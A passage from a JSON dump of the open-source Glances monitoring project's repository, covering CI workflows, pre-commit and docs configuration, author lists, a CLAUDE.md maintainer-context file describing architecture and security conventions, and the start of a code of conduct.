    "content": "name: quality\n\non:\n  workflow_call:\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n    timeout-minutes: 15\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'javascript', 'python' ]\n        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]\n        # Learn more:\n        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@820e3160e279568db735cee8ed8f8e77a6da7818 # v3\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        # queries: ./path/to/local/query, your-org/your-repo/queries@main\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@820e3160e279568db735cee8ed8f8e77a6da7818 # v3\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 https://git.io/JvXDl\n\n    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines\n    #    and modify them (or add more) to build your code if your project\n    #    uses a compiled language\n\n    #- run: |\n    #   make bootstrap\n    #   make release\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@820e3160e279568db735cee8ed8f8e77a6da7818 # v3\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "# Run unitary test\n\nname: test\n\non:\n  workflow_call:\n\njobs:\n\n  source-code-checks:\n    runs-on: ubuntu-24.04\n    timeout-minutes: 5\n\n    permissions:\n      contents: read\n\n    steps:\n      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n      # - name: Check formatting with Ruff\n      #   uses: chartboost/ruff-action@e18ae971ccee1b2d7bbef113930f00c670b78da4 # v1\n      #   with:\n      #     args: 'format --check'\n\n      - name: Check linting with Ruff\n        uses: chartboost/ruff-action@e18ae971ccee1b2d7bbef113930f00c670b78da4 # v1\n        with:\n          args: 'check'\n\n      # - name: Static type check\n      #   run: |\n      #     echo \"Skipping static type check for the moment, too much error...\";\n      #     # pip install pyright\n      #     # pyright glances\n\n\n  test-linux:\n\n    needs: source-code-checks\n    # https://github.com/actions/runner-images?tab=readme-ov-file#available-images\n    runs-on: ubuntu-24.04\n    timeout-minutes: 15\n    strategy:\n      matrix:\n        # Python EOL version are note tested\n        # Multiple Python version only tested for Linux\n        python-version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\", \"3.14\"]\n\n    permissions:\n      contents: read\n\n    steps:\n\n      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n      - name: Set up Python ${{ matrix.python-version }}\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6\n        with:\n          python-version: ${{ matrix.python-version }}\n          cache: 'pip'\n\n      - name: Install dependencies\n        run: |\n          if [ -f dev-requirements.txt ]; then python -m pip install -r dev-requirements.txt; fi\n          if [ -f requirements.txt ]; then python -m pip install -r requirements.txt; fi\n\n      - name: Unitary tests\n        run: |\n          python -m pytest ./tests/test_core.py\n\n  test-windows:\n\n    needs: source-code-checks\n    # https://github.com/actions/runner-images?tab=readme-ov-file#available-images\n    runs-on: windows-2025\n    timeout-minutes: 15\n    strategy:\n      matrix:\n        # Windows-curses not available for Python 3.14 for the moment\n        # See https://github.com/zephyrproject-rtos/windows-curses/issues/76\n        python-version: [\"3.13\"]\n\n    permissions:\n      contents: read\n\n    steps:\n\n    - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n    - name: Set up Python ${{ matrix.python-version }}\n      uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6\n      with:\n        python-version: ${{ matrix.python-version }}\n        cache: 'pip'\n\n    - name: Install dependencies\n      run: |\n        if (Test-Path -PathType Leaf \"dev-requirements.txt\") { python -m pip install -r dev-requirements.txt }\n        if (Test-Path -PathType Leaf \"requirements.txt\") { python -m pip install -r requirements.txt }\n        pip install .\n\n    - name: Unitary tests\n      run: |\n        python -m pytest ./tests/test_core.py\n\n  test-macos:\n\n    needs: source-code-checks\n    # https://github.com/actions/runner-images?tab=readme-ov-file#available-images\n    runs-on: macos-15\n    timeout-minutes: 15\n    strategy:\n      matrix:\n        # Only test the latest stable version\n        python-version: [\"3.14\"]\n\n    permissions:\n      contents: read\n\n    steps:\n\n      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n      - name: Set up Python ${{ matrix.python-version }}\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6\n        with:\n          python-version: ${{ matrix.python-version }}\n          cache: 'pip'\n\n      - name: Install dependencies\n        run: |\n          if [ -f dev-requirements.txt ]; then python -m pip install -r dev-requirements.txt; fi\n          if [ -f requirements.txt ]; then python -m pip install -r requirements.txt; fi\n\n      - name: Unitary tests\n        run: |\n          python -m pytest ./tests/test_core.py\n\n  # test-freebsd:\n\n  #   needs: source-code-checks\n  #   runs-on: ubuntu-latest\n  #   strategy:\n  #     matrix:\n  #       # Only test the latest stable version\n  #       python-version: [\"3.14\"]\n  #   steps:\n\n  #     - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n\n  #     - name: Set up Python ${{ matrix.python-version }}\n  #       uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6\n  #       with:\n  #         python-version: ${{ matrix.python-version }}\n  #         cache: 'pip'\n\n  #     - name: Install dependencies\n  #       uses: vmactions/freebsd-vm@v1\n  #       with:\n  #         usesh: true\n  #         run: |\n  #           pkg install -y python3 gcc devel/py-pip\n  #           python3 --version\n  #           if [ -f dev-requirements.txt ]; then python3 -m pip install -r dev-requirements.txt; fi\n  #           if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi\n\n  #     - name: Unitary tests\n  #       uses: vmactions/freebsd-vm@v1\n  #       with:\n  #         usesh: true\n  #         run: |\n  #           python3 -m pytest ./tests/test_core.py\n"
  },
  {
    "path": ".github/workflows/webui.yml",
    "content": "name: webui\n\non:\n  workflow_call:\n\njobs:\n  build:\n    # continue-on-error: true\n    timeout-minutes: 10\n\n    runs-on: ubuntu-latest\n\n    permissions:\n      contents: write\n\n    strategy:\n      matrix:\n        # Use LTS version only\n        # See supported Node.js release schedule at https://nodejs.org/en/about/releases/\n        node-version: [24.x]\n\n    steps:\n    - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5\n    - name: Glances will be build with Node.js ${{ matrix.node-version }}\n      uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5\n      with:\n        node-version: ${{ matrix.node-version }}\n        cache: 'npm'\n        cache-dependency-path: ./glances/outputs/static/package-lock.json\n    - name: Build Glances WebUI\n      working-directory: ./glances/outputs/static\n      run: |\n        npm ci\n        npm run build\n    - name: Commit and push WebUI\n      env:\n        CI_COMMIT_MESSAGE: Continuous Integration Build Artifacts\n        CI_COMMIT_AUTHOR: Continuous Integration\n      run: |\n        git config --global user.name \"${{ env.CI_COMMIT_AUTHOR }}\"\n        git config --global user.email \"glances@nicolargo.com\"\n        git add glances/outputs/static\n        /bin/bash -c \"git commit -m '${{ env.CI_COMMIT_MESSAGE }}' || true\"\n        git push\n"
  },
  {
    "path": ".gitignore",
    "content": "*~\r\n*.py[co]\r\n\r\n# Packages\r\n*.egg\r\n*.egg-info\r\ndist\r\nbuild\r\n\r\n# Eclipse and other IDE\r\n.idea\r\n*.pydevproject\r\n.project\r\n.metadata\r\nbin/**\r\ntmp/**\r\ntmp/**/*\r\n*.tmp\r\n*.bak\r\n*.swp\r\n*~.nib\r\nlocal.properties\r\n.classpath\r\n.settings/\r\n.loadpath\r\n.ipynb_checkpoints/\r\n\r\n# External tool builders\r\n.externalToolBuilders/\r\n*yarn.lock\r\n\r\n# Locally stored \"Eclipse launch configurations\"\r\n*.launch\r\n\r\n# CDT-specific\r\n.cproject\r\n\r\n# PDT-specific\r\n.buildpath\r\n\r\n# ctags\r\n.tags*\r\n\r\n# Sphinx\r\n_build\r\n\r\n# Tox\r\n.tox/\r\n\r\n# web ui\r\nnode_modules/\r\nbower_components/\r\n\r\n# visual stdio code\r\n.vscode/\r\n.vs/\r\n\r\n# Snap packaging specific\r\n/snap/.snapcraft/\r\n/parts/\r\n/stage/\r\n/prime/\r\n\r\n/*.snap\r\n/*_source.tar.bz2\r\n\r\n# Virtual env\r\n.venv-uv/\r\n.venv/\r\nuv.lock\r\n.python-version\r\n\r\n# Test\r\n.coverage\r\ntests-data/issues/*/config/\r\n\r\n# Local SSL certificates\r\nglances.local*.pem\r\n\r\n# Claudio\r\n.claude/settings.local.json\r\n"
  },
  {
    "path": ".mailmap",
    "content": "Nicolas Hennion <nicolashennion@gmail.com> Nicolargo <nicolas@nicolargo.com>\nNicolas Hennion <nicolashennion@gmail.com> Nicolas Hennion <nicolas@nicolargo.com>\nNicolas Hennion <nicolashennion@gmail.com> nicolargo <nicolas@nicolargo.com>\nNicolas Hennion <nicolashennion@gmail.com> nicolargo <nicolashennion@gmail.com>\nNicolas Hennion <nicolashennion@gmail.com> nicolargo <nicolargo@nicolargo-boulot.(none)>\nNicolas Hennion <nicolashennion@gmail.com> nicolargo <nicolargo@nicolargo-fujitsu.(none)>\nNicolas Hennion <nicolashennion@gmail.com> Nicolargo <nicolashennion@gmail.com>\nNicolas Hennion <nicolashennion@gmail.com> nicolargo <nicolargo@lifebook.(none)>\nAlessio Sergi <al3hex@gmail.com> asergi <al3hex@gmail.com>\nNicolas Hart <contact@nclshart.net> nclsHart <contact@nclshart.net>\nNicolas Hart <contact@nclshart.net> Nicolas Hart <n.hart@hexanet.fr>\nFloran Brutel <f.brutel@hexanet.fr> Floran Brutel <contact@floran.fr>\nBrandon Philips <brandon@ifup.org> Brandon Philips <brandon.philips@rackspace.com>\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n  - repo: https://github.com/gitleaks/gitleaks\n    rev: v8.24.2\n    hooks:\n      - id: gitleaks\n        name: \"🔒 security · Detect hardcoded secrets\"\n\n  - repo: https://github.com/astral-sh/ruff-pre-commit\n    rev: v0.15.4\n    hooks:\n    - id: ruff-format\n      name: \"🐍 python · Formatter with Ruff\"\n      types_or: [ python, pyi ]\n      args: [ --target-version, py310, --config, './pyproject.toml' ]\n    - id: ruff-check\n      name: \"🐍 python · Linter with Ruff\"\n      types_or: [ python, pyi ]\n      args: [ --fix, --target-version, py310, --config, './pyproject.toml' ]\n\n  # - repo: https://github.com/RobertCraigie/pyright-python\n  #   rev: v1.1.391\n  #   hooks:\n  #     - id: pyright\n  #       name: \"🐍 python · Check types\"\n\n  # - repo: https://github.com/biomejs/pre-commit\n  #   rev: \"v2.3.7\"\n  #   hooks:\n  #     - id: biome-check\n  #       name: \"🟨 javascript · Lint, format, and safe fixes with Biome\"\n\n  - repo: https://github.com/python-jsonschema/check-jsonschema\n    rev: 0.35.0\n    hooks:\n      - id: check-github-workflows\n        name: \"🐙 github-actions · Validate gh workflow files\"\n        args: [\"--verbose\"]\n\n  - repo: https://github.com/shellcheck-py/shellcheck-py\n    rev: v0.11.0.1\n    hooks:\n      - id: shellcheck\n        name: \"🐚 shell · Lint shell scripts\"\n\n  - repo: https://github.com/openstack/bashate\n    rev: 2.1.1\n    hooks:\n      - id: bashate\n        name: \"🐚 shell · Check shell script code style\"\n        entry: bashate --error E* --ignore=E006\n\n  # - repo: https://github.com/mrtazz/checkmake.git\n  #   rev: 0.2.2\n  #   hooks:\n  #     - id: checkmake\n  #       name: \"🐮 Makefile · Lint Makefile\"\n\n  - repo: https://github.com/pre-commit/pre-commit-hooks\n    rev: v6.0.0\n    hooks:\n      - id: check-executables-have-shebangs\n        name: \"📁 filesystem/⚙️ exec · Verify shebang presence\"\n      - id: check-shebang-scripts-are-executable\n        name: \"📁 filesystem/⚙️ exec · Verify script permissions\"\n      - id: check-case-conflict\n        name: \"📁 filesystem/📝 names · Check case sensitivity\"\n      - id: destroyed-symlinks\n        name: \"📁 filesystem/🔗 symlink · Detect broken symlinks\"\n      - id: check-merge-conflict\n        name: \"🌳 git · Detect conflict markers\"\n      - id: forbid-new-submodules\n        name: \"🌳 git · Prevent submodule creation\"\n      # - id: no-commit-to-branch\n      #   name: \"🌳 git · Protect main branches\"\n      #   args: [\"--branch\", \"main\", \"--branch\", \"master\"]\n      - id: check-added-large-files\n        name: \"🌳 git · Block large file commits\"\n        args: ['--maxkb=5000']\n      - id: check-ast\n        name: \"🐍 python/🔍 quality · Validate Python AST\"\n      - id: check-docstring-first\n        name: \"🐍 python/📝 style · Enforce docstring at top\"\n      - id: check-json\n        name: \"📄 formats/json · Validate JSON files\"\n      - id: check-toml\n        name: \"📄 formats/toml · Validate TOML files\"\n      - id: check-yaml\n        name: \"📄 formats/yaml · Validate YAML syntax\"\n      - id: debug-statements\n        name: \"🐍 python/🪲 debug · Detect debug statements\"\n      - id: detect-private-key\n        name: \"🔐 security · Detect private keys\"\n      - id: mixed-line-ending\n        name: \"📄 text/↩️ newline · Normalize line endings\"\n      - id: requirements-txt-fixer\n        name: \"🐍 python/📦 deps · Sort requirements.txt\"\n\n  - repo: local\n    hooks:\n      - id: find-duplicate-lines\n        name: \"❗️local script · Find duplicate lines at the end of file\"\n        entry: bash tests-data/tools/find-duplicate-lines.sh\n        language: system\n        types: [python]\n        pass_filenames: false\n"
  },
  {
    "path": ".readthedocs.yaml",
    "content": "# Read the Docs configuration file for Glances projects\n\n# Required\nversion: 2\n\n# Set the OS, Python version and other tools you might need\nbuild:\n  os: ubuntu-22.04\n  tools:\n    python: \"3.12\"\n    # You can also specify other tool versions:\n    # nodejs: \"20\"\n    # rust: \"1.70\"\n    # golang: \"1.20\"\n\n# Build documentation in the \"docs/\" directory with Sphinx\nsphinx:\n  configuration: docs/conf.py\n  # You can configure Sphinx to use a different builder, for instance use the dirhtml builder for simpler URLs\n  # builder: \"dirhtml\"\n  # Fail on all warnings to avoid broken references\n  # fail_on_warning: true\n\n# Optionally build your docs in additional formats such as PDF and ePub\n# formats:\n#   - pdf\n#   - epub\n\n# Optional but recommended, declare the Python requirements required\n# to build your documentation\n# See https://docs.readthedocs.io/en/stable/guides/reproducible-builds.html\npython:\n  install:\n    - requirements: dev-requirements.txt"
  },
  {
    "path": ".reuse/dep5",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: Glances\nUpstream-Contact: Nicolas Hennion <nicolashennion@gmail.com>\nSource: https://github.com/nicolargo/glances\n\n# Sample paragraph, commented out:\n#\n# Files: src/*\n# Copyright: $YEAR $NAME <$CONTACT>\n# License: ...\n"
  },
  {
    "path": "AUTHORS",
    "content": "==========\nDevelopers\n==========\n\nNicolas Hennion (aka) Nicolargo\nhttp://blog.nicolargo.com\nhttps://twitter.com/nicolargo\nhttps://github.com/nicolargo\nnicolashennion@gmail.com\nPGP Fingerprint: A0D9 628F 5A83 A879 48EA  B1FE BA43 C11F 2C8B 4347\nPGP Public key:  gpg --keyserver pgp.mit.edu --recv-keys 0xba43c11f2c8b4347\n\nRazCrimson (maintainer of the Glances project)\nhttps://github.com/RazCrimson\n\nAriel Otibili (aka) ariel-anieli (for the huge work on code quality)\nhttps://github.com/ariel-anieli\n\nAlessio Sergi (aka) Al3hex (thanks you for the great job on this project)\nhttps://twitter.com/al3hex\nhttps://github.com/asergi\n\nFloran Brutel (aka) notFloran (maintainer of the Web User Interface)\nhttps://github.com/notFloran\n\nfr4nc0is (maintainer of the Web User Interface)\nhttps://github.com/fr4nc0is\n\nBrandon Philips (aka) Philips\nhttp://ifup.org/\nhttps://github.com/philips\n\nJon Renner (aka) Jrenner\nhttps://github.com/jrenner\n\nMaxime Desbrus (aka) Desbma\nhttps://github.com/desbma\n\nNicolas Hart (aka) NclsHart (for the Web user interface)\nhttps://github.com/nclsHart\n\nSylvain Mouquet (aka) SylvainMouquet (for the Web user interface)\nhttp://github.com/sylvainmouquet\n\nErik Eriksson (aka) Molobrakos (for the MQTT plugin and various PR)\nhttps://www.linkedin.com/in/error-errorsson/\n\n=========\nPackagers\n=========\n\n林博仁(Buo-ren Lin) Lin-Buo-Ren for the Snap package\nhttps://lin-buo-ren.github.io/\nhttps://snapcraft.io/glances/releases\n\nDaniel Echeverry and Sebastien Badia for the Debian package\nhttps://tracker.debian.org/pkg/glances\n\nPhilip Lacroix and Nicolas Kovacs for the Slackware (SlackBuild) package\n\ngasol.wu@gmail.com for the FreeBSD port\n\nFrederic Aoustin (https://github.com/fraoustin) and Nicolas Bourges (installer) for the Windows port\n\nAljaž Srebrnič for the MacPorts package\nhttp://www.macports.org/ports.php?by=name&substr=glances\n\nJohn Kirkham for the conda package (at conda-forge)\nhttps://github.com/conda-forge/glances-feedstock\n\nRui Chen for the Homebrew package\nhttps://chenrui.dev/\nhttps://formulae.brew.sh/formula/glances\n"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md — Glances Maintainer Context\n\n> Auto-loaded by Claude Code at the start of every session.\n> Describes my role, principles, constraints, and working patterns\n> specific to the Glances project.\n\n---\n\n## Role and posture\n\nI am maintainer of **Glances** (`nicolargo/glances`), a cross-platform\nopen-source system monitoring tool used by **thousands of users** in production.\nThis implies:\n\n- Prioritising **non-regression** above all else: any change that breaks existing\n  behaviour has a real cost for real users.\n- Being **conservative about default behaviour**: most users run Glances without\n  any custom configuration, on a private network, for personal use. Every change\n  to a default must be evaluated against this dominant use case.\n- Being **innovative in refactoring** to preserve readability, security, and\n  long-term maintainability — provided changes are incremental and reversible.\n- Treating every technical decision as an **explicit trade-off** between\n  security, usability, and backward compatibility.\n\n---\n\n## Tech stack\n\n| Layer | Technology |\n| --- | --- |\n| Backend | Python, psutil, FastAPI (REST API), curses (TUI) |\n| Frontend | Vue.js, Bootstrap 5, SCSS |\n| Export plugins | InfluxDB, MongoDB, MQTT, DuckDB, and others |\n| Infrastructure | GitHub Actions, Helm/Kubernetes, Snap (snapcraft) |\n| LLM abstraction | LiteLLM (multi-provider) |\n| GPU/NPU monitoring | pynvml, sysfs/debugfs |\n\n---\n\n## Development Setup\n\n```bash\nmake install-uv          # Install UV in .venv-uv/\nmake venv-dev            # Create virtualenv with all deps + dev tools + pre-commit hooks\n```\n\n---\n\n## Common Commands\n\n### Tests\n\n```bash\nmake test                # All tests (via pytest)\nmake test-core           # Core unit tests (tests/test_core.py)\nmake test-plugins        # Plugin tests (tests/test_plugin_*.py)\nmake test-restful        # REST API tests\nmake test-webui          # Selenium WebUI tests\nmake test-exports        # All export integration tests (shell scripts, need Docker)\n\n# Single test file or specific test:\n.venv-uv/bin/uv run pytest tests/test_core.py\n.venv-uv/bin/uv run pytest tests/test_core.py::TestGlances::test_000_update\n```\n\n### Linting & Formatting\n\n```bash\nmake format              # Ruff format\nmake lint                # Ruff check --fix\nmake pre-commit          # All pre-commit hooks (ruff, gitleaks, shellcheck, etc.)\n```\n\n### WebUI\n\n```bash\nmake webui               # npm ci && npm run build (outputs to glances/outputs/static/public/)\n```\n\n### Running Glances\n\n```bash\n.venv-uv/bin/uv run python -m glances                       # Standalone TUI\n.venv-uv/bin/uv run python -m glances -w                    # Web server (default port 61208)\n.venv-uv/bin/uv run python -m glances -C conf/glances.conf  # With specific config\n```\n\n## Architecture\n\n### Modes (selected in `glances/main.py` → dispatched in `glances/__init__.py`)\n\n- **Standalone** — curses TUI (`glances/standalone.py`)\n- **Client/Server** — XML-RPC remote monitoring (`glances/client.py`, `glances/server.py`)\n- **Web server** — FastAPI REST API + Vue.js WebUI + optional MCP (`glances/webserver.py`)\n\n### Stats Engine (`glances/stats.py`)\n\nCentral orchestrator that dynamically discovers and loads all plugins and\nexports. Exposes `get<PluginName>()` magic methods. Runs plugin updates\nconcurrently.\n\n### Plugin System (`glances/plugins/`)\n\n- **Base class:** `GlancesPluginModel` in `glances/plugins/plugin/model.py`\n- **Convention:** each plugin lives in `glances/plugins/<name>/__init__.py`,\n  exports a class inheriting from `GlancesPluginModel`\n- **Interface:** `update()` fetches data (typically from psutil), stores in\n  `self.stats`; `fields_description` dict declares field metadata (unit,\n  thresholds, rates, alerts)\n- **Dependency DAG:** `glances/plugins/plugin/dag.py` — declares inter-plugin\n  dependencies (e.g. `cpu` depends on `core`), used by the REST API to resolve\n  fetch order\n- **Auto-discovery:** plugins are discovered automatically — no central\n  registration needed; just add a new directory under `glances/plugins/`\n- **~39 plugins:** cpu, mem, memswap, network, diskio, fs, containers, gpu,\n  sensors, processlist, alert, etc.\n\n### Export System (`glances/exports/`)\n\n- **Base class:** `GlancesExport` in `glances/exports/export.py`\n- **Convention:** each exporter in `glances/exports/glances_<name>/__init__.py`,\n  class named `Export`\n- **Auto-discovery:** same pattern as plugins — no central registration needed\n- **Non-exportable plugins** (hardcoded filter): alert, help, plugin,\n  psutilversion, quicklook, version\n- **~26 exporters:** CSV, JSON, InfluxDB (v1/v2/v3), Prometheus, Elasticsearch,\n  Kafka, MQTT, etc.\n\n### REST API (`glances/outputs/glances_restful_api.py`)\n\nFastAPI app with Basic + JWT auth, CORS, optional TLS, DNS rebinding\nprotection. Endpoints under `/api/<plugin>` for stats, `/api/<plugin>/history`\nfor time-series.\n\nAll new configuration keys must be declared and loaded in\n`GlancesRestfulApi.load_config()`. Advanced options use config-file keys only\n(no CLI flag) — follow the `cors_origins` pattern.\n\n### MCP Server (`glances/outputs/glances_mcp.py`)\n\nFastMCP-based, mounted as ASGI in the FastAPI app. Provides resources (plugin\nstats, limits, history) and prompts (system health, alerts analysis).\n\n### Process Manager (`glances/processes.py`)\n\nComplex module (~31 KB) managing the process list with threading, sorting, and\nfiltering. Used by the `processlist` plugin.\n\n### Configuration (`glances/config.py`)\n\nINI format, searched in `~/.config/glances/`, `/etc/glances/`, and bundled\n`conf/`. Per-plugin sections with thresholds and options. Sensitive keys\n(passwords, tokens, API keys) are filtered from public API responses.\n\n---\n\n## Code principles\n\n### No dead code\n\nNever merge code that is not used anywhere in the codebase, regardless of its\nquality. Every PR must either fix a bug, introduce an actively integrated\nfeature, or replace existing code. Dead code burdens reviews, confuses future\ncontributors, and misleads static analysis tools.\n\n### Surgical edits\n\nPrefer targeted, atomic changes over full rewrites. Validate — visually or\nfunctionally — after each atomic change. Never bundle multiple distinct logical\nfixes into a single edit block.\n\n### Exception handling for Snap confinement\n\nWrap the `open()` call inside `try/except`, not just the `read()`. Snap's strict\nconfinement blocks host file access at the open stage, not the read stage.\n\n### Kubernetes workloads\n\nUse a **DaemonSet** (one pod per node) for system-level monitoring.\nPrefer `SYS_PTRACE` over `privileged: true`.\n\n---\n\n## Security\n\n### General philosophy\n\nGlances runs unauthenticated by default — this is intentional and documented.\nThe majority of users deploy it on private networks for personal use. Security\nmitigations must:\n\n1. **Not change the default behaviour** — unless the vulnerability is critical\n   and exploitable without any user action.\n2. **Add a startup warning** when running in an exposed configuration (non-\n   loopback bind, no authentication). Visible, but non-fatal.\n3. **Provide optional configuration keys** for advanced deployments — commented\n   out by default so behaviour is unchanged.\n4. **Document risks and hardening recommendations** in the official docs.\n\n### Pattern for a new optional protection\n\n```ini\n# [outputs] in glances.conf\n# Commented out by default = unchanged behaviour (backward compatibility guaranteed)\n# Uncomment and configure to enable the protection\n# webui_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n```\n\n### Sensitive endpoints\n\n- `/api/4/config` and `/api/4/args` — never expose credentials in plain text\n  (InfluxDB passwords, MongoDB tokens, MQTT passphrases, SSL key paths, etc.)\n  for unauthenticated access. Use the conditional `as_dict_secure()` method,\n  applied when `self.args.password` is `False`.\n- CORS: `allow_origins=[\"*\"]` + `allow_credentials=True` is invalid per the\n  CORS spec and reflected by Starlette. Default: `allow_credentials=False`.\n- DNS rebinding: `TrustedHostMiddleware` via `webui_allowed_hosts` (optional).\n  The MCP endpoint is already protected via `mcp_allowed_hosts` +\n  `TransportSecuritySettings` in `glances/outputs/glances_mcp.py`.\n\n### Security documents\n\nSecurity reports and internal remediation plans are **confidential internal\ndocuments**. Always deliver them as downloadable files — never as inline text\nin a conversation.\n\n---\n\n## Contribution management (PRs and Issues)\n\n### Dead code rule\n\nSystematically reject any PR that introduces unused code. Offer the contributor\na path forward:\n- complete the PR with the actual integration, or\n- split it into two PRs linked by a tracking issue.\n\nNever close a PR without offering a resolution path.\n\n### Tone with contributors\n\n- Always acknowledge the quality of the code, even when rejecting the PR.\n- Label the problem as a \"blocking concern\", not a judgement.\n- End with an explicit invitation to keep collaborating.\n- Key phrase: *\"I'm not closing the PR — I just want to make sure we get this\n  right together.\"*\n- Language: **English** for all public messages and PR comments.\n\n### Before merging a PR\n- [ ] The code is actively used (no dead code)\n- [ ] Existing tests pass\n- [ ] New behaviour is covered by tests\n- [ ] New configuration keys are documented\n- [ ] Breaking changes are identified and documented\n- [ ] The PR targets the correct branch\n- [ ] Code should be formated and linted (make lint && make format)\n\n### GitHub Issues\n\nAlways deliver GitHub issues as a **downloadable `.md` file** — never as inline\ntext in the conversation. Expected structure:\n- Summary / symptom\n- Technical analysis (with file and line references)\n- Proposed fix — diff or pseudo-code\n- Test checklist\n- Impact and severity\n- Breaking changes if any\n\n### Responses to security reports\n\nSame structure as issues, with the addition of:\n- Maintainer's position on the default behaviour (justified)\n- What will be done / what will not be done (and why)\n- Timeline\n- Thanks to the reporter\n\n---\n\n## Expected output formats\n\n| Deliverable | Format |\n| --- | --- |\n| GitHub issue | Downloadable `.md` file — never inline |\n| Security alert response | Downloadable `.md` file, marked confidential if internal |\n| Audit report (architecture, security) | Downloadable `.md` file |\n| Changelog entry | `.rst` file following the `NEWS.rst` format |\n| UI prototype | Self-contained single-file `.html` |\n| Helm Chart | `.tgz` archive or structured directory |\n\n---\n\n## Safe refactoring — two-phase strategy\n\nFor any medium-to-high-risk refactoring, always apply the **two-phase approach**:\n\n**Phase 1** — Introduce the new mechanism alongside the old one, with the old\nas fallback. No behaviour changes for existing users.\n\n**Phase 2** — Deprecate the old mechanism over one or two releases, then remove\nit.\n\nThis ensures no existing deployment is broken during the transition, while\nallowing the new mechanism to be validated on a real user base before the old\none is deleted.\n\nApplied example: plugin dependency DAG — keep the hardcoded dict as fallback,\nadd class-attribute discovery, deprecate the dict over two releases.\n\n---\n\n## UI / TUI\n\n### Web UI\nStack: Vue.js + Bootstrap 5 + SCSS.\n\nDesign principles:\n- Strict typographic consistency across all plugins (size, weight, opacity,\n  letter-spacing).\n- Pixel-perfect sparkline alignment (CSS grid, fixed row heights).\n- Footer = vertical alert list (up to 10 entries), not a single horizontal row.\n- No gauges — prefer sparklines with an inline current value.\n\n### TUI (curses)\n- 256-colour system with automatic fallback for limited terminals.\n- Lightweight hierarchical separators for information density.\n\n---\n\n## CI/CD — GitHub Actions\n\nIn `build_docker.yml`, the trigger condition combines branch exclusion and event\ntype — a dynamic matrix with zero entries causes a silent failure without this\nguard:\n\n```yaml\nif: >\n  github.event_name != 'pull_request' &&\n  (github.ref == 'refs/heads/develop' || startsWith(github.ref, 'refs/tags/'))\n```\n\nThe `master` branch does not trigger a Docker build (empty matrix = silent\nfailure without this condition).\n\n---\n\n## Communication\n\n| Context | Language |\n| --- | --- |\n| Working exchanges | French or English |\n| Issues, PRs, contributor messages | English |\n| Public documentation | English |\n| Internal reports (security, audit) | English |\n\nRequest style: terse, numbered, precise. Respond in the same register.\n"
  },
  {
    "path": "CODE-OF-CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, gender identity and expression, level of experience,\neducation, socioeconomic status, nationality, personal appearance, race,\nreligion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at nicolashennion@gmail.com. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain 